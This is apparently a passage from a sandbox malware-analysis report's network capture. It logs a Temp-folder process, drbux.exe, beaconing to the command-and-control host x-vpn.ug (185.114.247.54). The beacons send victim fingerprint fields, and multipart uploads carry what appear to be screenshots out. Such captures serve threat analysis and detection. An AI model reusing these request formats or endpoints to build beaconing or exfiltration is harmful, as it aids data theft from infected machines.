Jul 19, 2021 18:36:18.993304968 CEST	15046	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:18.993453026 CEST	15048	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:18.993763924 CEST	15051	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:18.993901968 CEST	15054	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:18.994060993 CEST	15055	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:19.284938097 CEST	15120	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.6	49917	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:19.015003920 CEST	15061	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:19.105257988 CEST	15112	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.6	49918	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:19.302485943 CEST	15120	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:19.398761034 CEST	15121	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.6	49919	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:19.583142996 CEST	15122	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:19.583396912 CEST	15122	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:19.583807945 CEST	15132	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:19.584026098 CEST	15135	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:19.676285028 CEST	15138	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:19.676939011 CEST	15143	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:19.676975965 CEST	15146	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:19.676986933 CEST	15149	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:19.676996946 CEST	15151	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:19.677345991 CEST	15154	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:19.677716017 CEST	15155	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:19.964518070 CEST	15220	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.6	49920	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:19.615284920 CEST	15135	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:19.724534035 CEST	15161	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.6	49921	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:19.919332981 CEST	15219	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:20.009548903 CEST	15220	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.6	49922	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:20.202943087 CEST	15221	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:20.294106960 CEST	15234	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.6	49923	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:20.260432959 CEST	15221	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:20.260592937 CEST	15221	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:20.260862112 CEST	15231	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:20.261029959 CEST	15234	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:20.355384111 CEST	15235	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:20.356731892 CEST	15241	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:20.356775045 CEST	15251	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:20.356795073 CEST	15254	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:20.356801987 CEST	15255	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:20.358422041 CEST	15258	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:20.362090111 CEST	15261	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:20.450059891 CEST	15264	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49754	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:30.022542953 CEST	2769	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:30.022721052 CEST	2769	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:30.022993088 CEST	2779	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:30.023140907 CEST	2782	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:30.116322041 CEST	2782	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
